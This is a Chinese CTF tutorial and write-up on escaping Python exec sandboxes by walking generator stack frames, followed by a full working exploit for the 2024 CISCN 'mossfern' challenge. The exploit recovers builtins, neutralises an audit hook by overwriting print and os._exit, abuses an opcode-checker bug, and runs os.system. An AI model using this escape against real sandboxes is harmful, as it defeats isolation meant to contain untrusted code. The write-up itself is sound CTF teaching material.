当前位置: 首页 > news >正文

Python栈帧沙箱逃逸

文章目录

    • 基础知识
      • 什么是生成器
      • 生成器表达式
      • 生成器属性
      • 栈帧
    • 利用栈帧进行沙箱逃逸
    • 题目解析
      • 2024CISCN mossfern

基础知识

什么是生成器

生成器(Generator)是Python中一种特殊的迭代器,它通过函数和表达式来创建,可以逐个产生值,并在每次生成一个值后暂停执行,保留当前状态,以便下一次调用时能够从暂停的地方继续执行

生成器函数使用yield语句生成值,而不是普通函数的return,调用生成器函数返回的是一个生成器对象,每次调用该对象的next()方法时,生成器函数会从上次暂停的位置继续执行,直到遇到下一个yield或函数结束

举个简单的例子

def generator():yield 1yield 2yield 3g = generator()
print(next(g))  # 输出1
print(next(g))  # 输出2
print(next(g))  # 输出3

生成器表达式

为了更方便的书写,我们可以用生成器表达式,这是Python中创建生成器对象的一种简洁语法,形式类似列表推导式,但用的是圆括号()

g = (i for i in range(3)) 
print(g)  # 输出<generator object <genexpr> at 0x0000025FF5AA5B40>

通过next()方法来逐步执行

g = (i for i in range(3)) 
print(next(g))  # 输出0
print(next(g))  # 输出1
...

如果一直逐步执行的话太麻烦了,我们可以用循环来执行,有很多方法,这里列举几个常用的

for循环遍历生成器

g = (i for i in range(3)) 
for i in g:print(i)
# 输出
# 0
# 1
# 2

列表推导式循环创建列表

g = (i for i in range(3))
print([ i for i in g ])  # [0, 1, 2]

解包操作构造列表

g = (i for i in range(3))
print([*g])  # [0, 1, 2]

生成器属性

生成器的常用属性主要包括:

gi_code:生成器对应的代码对象,包含生成器函数的字节码和相关信息

gi_frame:生成器当前运行的帧对象(当前执行的位置、局部变量等)

gi_running:表示生成器是否正在执行,True表示运行中,False表示空闲,例如next(g)执行的时候是True,执行前、执行后都是False

gi_yieldfrom:当前生成器遇到的 yield from 语句引用的子生成器对象

gi_frame.f_locals:可以访问生成器当前帧的局部变量字典

其中用的比较多的是gi_frame,它指向该生成器当前执行的栈帧对象,用于保存该生成器函数在执行过程中的上下文信息。可以理解为函数执行的“快照”,包括当前执行到了哪条指令、局部变量、全局变量等

举个例子

def gen():yield 1yield 2g = gen()
print(g.gi_code)       # <code object gen at 0x0000017A385FBB40, file "/z3.py", line 1>
print(g.gi_frame)      # <frame at 0x0000017A385B6A30, file '/z3.py', line 1, code gen>
print(g.gi_running)    # False

栈帧

Python中,栈帧是运行时管理函数调用和执行状态的关键数据结构。它包含了函数执行时的所有重要信息,如当前执行位置、局部变量、参数、返回地址等,任何函数调用都会创建一个栈帧,函数退出时栈帧销毁

栈帧包含以下重要属性

f_locals:局部变量字典,可以查看和修改生成器当前帧的局部变量

f_globals:全局变量字典,存储当前模块的全局变量

f_code:代码对象,包含字节码指令等函数定义信息

f_lasti:当前执行的指令索引,指示执行到了哪条字节码指令

f_back:指向上一级调用栈帧,可用于追踪调用链

获取栈帧的方式同样也很多

sys._getframe()

sys._getframe()函数用于获取当前或指定深度的栈帧,语法是sys._getframe([depth])depth是可选参数,表示从当前调用帧起向上追溯的层数,0表示当前帧,1表示上一个调用帧,以此类推

举个例子

import sysdef foo(depth=0):frame = sys._getframe()for _ in range(depth):frame = frame.f_backreturn frameprint(foo(0))  # 当前帧,<frame at 0x0000024CF2CAA9B0, file '/z3.py', line 7, code foo>
print(foo(1))  # 上一帧,<frame at 0x0000024CF2C05B40, file '/z3.py', line 10, code <module>>
print(foo(2))	# 再上一帧,None

inspect模块的currentframe()

inspect.currentframe()返回当前调用的栈帧

import inspectdef foo():frame = inspect.currentframe()print(frame)foo()
# <frame at 0x000002A5C9216EC0, file '/z3.py', line 5, code foo>

通过生成器的gi_frame属性

生成器对象保存当前执行的栈帧,可直接访问gi_frame,查看执行状态和局部变量

def foo():x = 1yield xf = foo()
print(f.gi_frame)
# <frame at 0x000001DFE2355DD0, file '/z3.py', line 1, code foo>

我们需要重点掌握的就是栈帧回溯,后续我们的栈帧沙箱逃逸就是基于此进行

举个例子

import sys
f1 = sys._getframe()def func():f2 = sys._getframe()print(f2.f_back is f1)  # Trueprint(f2)  # <frame at 0x000001F13D735A80, file '/z3.py', line 7, code func>print(f2.f_back)  # <frame at 0x000001F13D745DD0, file '/z3.py', line 10, code <module>>func()
print(f1)  # <frame at 0x000001F13D745DD0, file '/z3.py', line 11, code <module>>

可以看到,f2.f_back对应的帧地址和f1相同,均为0x000001F13D745DD0

利用栈帧进行沙箱逃逸

一般情况下这种题目的逻辑是

flag = "this is flag"
code = """接受用户输入代码"""
# 过滤
compiled_code = compile(code)
# 过滤
exec(compiled_code,None,   # globalsNone    # locals
)

通过对用户输入的数据进行过滤,导致很多方法无法使用,这时候可以利用栈帧进行沙箱逃逸,代码如下

q = (q.gi_frame.f_back.f_back.f_globals for _ in [1])
g = [*q][0]

生成器在创建时会生成栈帧,第一个f_back跳出生成器,第二个f_back跳出exec包围圈,最后调用f_globals获取全局globals

前面我们讲到获取栈帧的方法还有sys._getframe()函数和inspect模块的currentframe(),但这两个由于需要import外部模块,import本身以及sysinspect可能都被禁用了,所以就用gi_frame来获取栈帧

运行生成器的话你可以不用解包操作,用列表推导式或循环遍历都可以,具体情况视题目而定。至于为什么next()不可以呢,因为next属于builtins模块,builtins一般都被禁用了

题目解析

2024CISCN mossfern

这道题是关于Python栈帧沙箱逃逸,我们用ctfshow的环境来复现

首先下载源码进行分析,可以看到存在路由/run且通过Json来传输数据

然后传入的数据被送到runner.py进行过滤,随后进行exec执行代码,代码如下

def source_simple_check(source):"""Check the source with pure string in string, prevent dangerous strings:param source: source code:return: None"""from sys import exitfrom builtins import printtry:source.encode("ascii")except UnicodeEncodeError:print("non-ascii is not permitted")exit()for i in ["__", "getattr", "exit"]:if i in source.lower():print(i)exit()def block_wrapper():"""Check the run process with sys.audithook, no dangerous operations should be conduct:return: None"""def audit(event, args):from builtins import str, printimport osfor i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:if i in (event + "".join(str(s) for s in args)).lower():print(i)os._exit(1)return auditdef source_opcode_checker(code):"""Check the source in the bytecode aspect, no methods and globals should be load:param code: source code:return: None"""from dis import disfrom builtins import strfrom io import StringIOfrom sys import exitopcodeIO = StringIO()dis(code, file=opcodeIO)opcode = opcodeIO.getvalue().split("\n")opcodeIO.close()for line in opcode:if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):breakprint("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))exit()if __name__ == "__main__":from builtins import openfrom sys import addaudithookfrom contextlib import redirect_stdoutfrom random import randint, randrange, seedfrom io import StringIOfrom random import seedfrom time import timesource = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()source_simple_check(source)source_opcode_checker(source)code = compile(source, "<sandbox>", "exec")addaudithook(block_wrapper())outputIO = StringIO()with redirect_stdout(outputIO):seed(str(time()) + "THIS_IS_SEED" + str(time()))exec(code, {"__builtins__": None,"randint": randint,"randrange": randrange,"seed": seed,"print": print}, None)output = outputIO.getvalue()if "THIS_IS_SEED" in output:print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")print("bad code-operation why still happened ah?")else:print(output)

runner.py构建了一个多层沙箱来执行用户代码,简单解释一下:

静态字符串检测 (source_simple_check): 检查源码是否包含__getattrexit等字符串(不区分大小写)

字节码检测 (source_opcode_checker): 检查代码编译后的字节码,禁止了LOAD_GLOBALIMPORT_NAMELOAD_METHOD等操作码,但白名单允许randintrandrangeprintseed这几个函数的使用

运行时审计 (block_wrapper): 使用sys.addaudithook在运行时监控并禁止了open, os, sys等一系列敏感事件

执行环境限制: 通过exec(code, {"__builtins__": None, ...})执行代码,__builtins__被设为None,并且全局作用域中只提供了randint, randrange, seed, print 四个函数

限制得很死,很多方法都没法用,这时我们就可以考虑用栈帧回溯来做,核心思路如下

q = (q.gi_frame.f_back.f_back.f_globals for _ in [1])
globals = [*q][0]

获取到全局变量之后就可以尝试获取builtins模块,双下划线被过滤我们可以用字符串拼接完成

builtins = globals['_'+'_builtins_'+'_']

接下来就是想办法绕过block_wrapper检查,因为audithook是运行时审计,所以想通过变量赋值方式绕过是不行的

如果检测到名单中的字符串就会打印并退出,因为print是在builtins模块里的,因此我们可以重写print方法,修改os._exit为其他函数即可成功跳出该沙箱

代码跟上面获取builtins的方式差不多,因为os在本地符号表,所以这里我们用locals,然后用setattr来重写os._exit

这里往上跳两层到本地就可以,不需要跳到全局,具体如下

def rewrite_print(a):q = (q.gi_frame.f_back.f_back.f_locals for _ in [1])locals = [*q][0]if 'os' in locals:builtins.setattr(locals['os'], '_ex'+'it', print)
builtins.print = rewrite_print

接下来从builtins提取eval,获取import再导入os调用system即可实现RCE

eval = builtins.eval
imp = eval('builtins._'+'_import_'+'_')
system = imp("os").system
system("ls /")

将上面的拼接起来,可以得到一个骨架

q = (q.gi_frame.f_back.f_back.f_globals for _ in [1])
globals = [*q][0]
builtins = globals['_'+'_builtins_'+'_']def rewrite_print(a):q = (q.gi_frame.f_back.f_back.f_locals for _ in [1])locals = [*q][0]if 'os' in locals:builtins.setattr(locals['os'], '_ex'+'it', print)
builtins.print = rewrite_printeval = builtins.eval
imp = eval('builtins._'+'_import_'+'_')
system = imp("os").system
system("ls /")

最后我们想办法绕过source_opcode_checker,仔细分析可以发现该函数存在一个逻辑漏洞

for line in opcode:if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):breakprint("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))exit()

这里的break会直接跳出整个for循环,而不是continue继续检查下一行字节码,我们只要想办法触发break,那么后续所有代码的字节码都不会被检查

一开始我想通过在开头加个print(1)来触发break,但是试了一下发现返回LOAD_GLOBAL,也就是检测到了LOAD_GLOBAL但是没检测到print(1),导致exit

开个本地调试观察分析,下个断点

发现有个LOAD_GLOBAL q,q指的是我们前面写的生成器,又因为在生成器内部尝试引用q,所以触发了LOAD_GLOBAL,但是q不是白名单里的,所以就exit

print呢,我们打开opcode,可以发现print不是LOAD_GLOBAL,而是LOAD_NAME

后面问AI说是版本问题,Python 3.11+是LOAD_NAME,那只能换个办法

前面我们知道生成器反汇编之后有个LOAD_GLOBAL,那我们尝试在生成器里面引用print试试,开头改为(print for _ in [1]),重新下断点调试

这次就没问题了,成功绕过source_opcode_checker限制

组合起来,完整的exp就是

(print for _ in [1])
q = (q.gi_frame.f_back.f_back.f_globals for _ in [1])
globals = [*q][0]
builtins = globals['_'+'_builtins_'+'_']def rewrite_print(a):q = (q.gi_frame.f_back.f_back.f_locals for _ in [1])locals = [*q][0]if 'os' in locals:builtins.setattr(locals['os'], '_ex'+'it', print)
builtins.print = rewrite_printeval = builtins.eval
imp = eval('builtins._'+'_import_'+'_')
system = imp("os").system
system("ls /")

我们写个python脚本来转换成Json数据

import jsoncode = """
(print for _ in [1])
q = (q.gi_frame.f_back.f_back.f_globals for _ in [1])
globals = [*q][0]
builtins = globals['_'+'_builtins_'+'_']def rewrite_print(a):q = (q.gi_frame.f_back.f_back.f_locals for _ in [1])locals = [*q][0]if 'os' in locals:builtins.setattr(locals['os'], '_ex'+'it', print)
builtins.print = rewrite_printeval = builtins.eval
imp = eval('builtins._'+'_import_'+'_')
system = imp("os").system
system("ls /")
"""json_code = json.dumps({"code": code})
print(json_code)

得到结果

{"code": "\n(print for _ in [1])\nq = (q.gi_frame.f_back.f_back.f_globals for _ in [1])\nglobals = [*q][0]\nbuiltins = globals['_'+'_builtins_'+'_']\n\ndef rewrite_print(a):\n    q = (q.gi_frame.f_back.f_back.f_locals for _ in [1])\n    locals = [*q][0]\n    if 'os' in locals:\n        builtins.setattr(locals['os'], '_ex'+'it', print)\nbuiltins.print = rewrite_print\n\neval = builtins.eval\nimp = eval('builtins._'+'_import_'+'_')\nsystem = imp(\"os\").system\nsystem(\"ls /\")\n"}

放入网站执行,类型要改为application/json

成功拿到flag

http://www.dtcms.com/a/551101.html

相关文章:

  • soho外贸建站内部网站的作用
  • 凡科网站建设的技巧企业网站管理系统源码
  • 网站建设包装策略网站app微信三合一
  • 软件工程与项目管理seo的中文意思是什么
  • 【大模型本地对话页面开发】
  • SAP SuccessFactors 发展历史详解
  • 深圳龙华汽车站附近有做网站建设的俄文淘宝网站建设
  • 男女做那个的视频网站酒店网站设计
  • SAP PP BOM批量创建功能分享
  • python字符串处理与正则表达式--之八
  • 吴堡网站建设费用阿里云免费网站建设
  • lyh教大前端
  • 重庆移动网站建设html代码翻译器
  • 摄影师网站html5注册wordpress发送邮件
  • 郑州做网站云极游戏推广吧
  • 查网站ip地址网页升级紧急通知狼人
  • 青岛百度网站排名优化做网站怎么切片
  • wap网站开发公司企业宣传片制作教程
  • 怎样免费建企业网站吗wordpress首页标题修改
  • seo整站优化费用宝塔为什么要安装Wordpress
  • 天河怎样优化网站建设优化网站找哪家
  • 网站建设有几种方式美丽深圳公众号二维码原图
  • 模版 网站需要多少钱崂山网站建设
  • 广州网站定做教程wordpress知识
  • 零代码网站开发工具新乡网站建设哪家专业
  • 网站建设迁移方案厦门市城市建设档案馆网站
  • 织梦网站评论后"提示验证码错误请点击验证码图片更新验证码刚做的单页网站怎么预览
  • 做鞋的贸易公司网站怎么做好网站模板有后台
  • 东南亚营销型网站建设与网络推广重庆大渡口营销型网站建设公司推荐
  • 免费制作logo的网站如何开心设计一个网站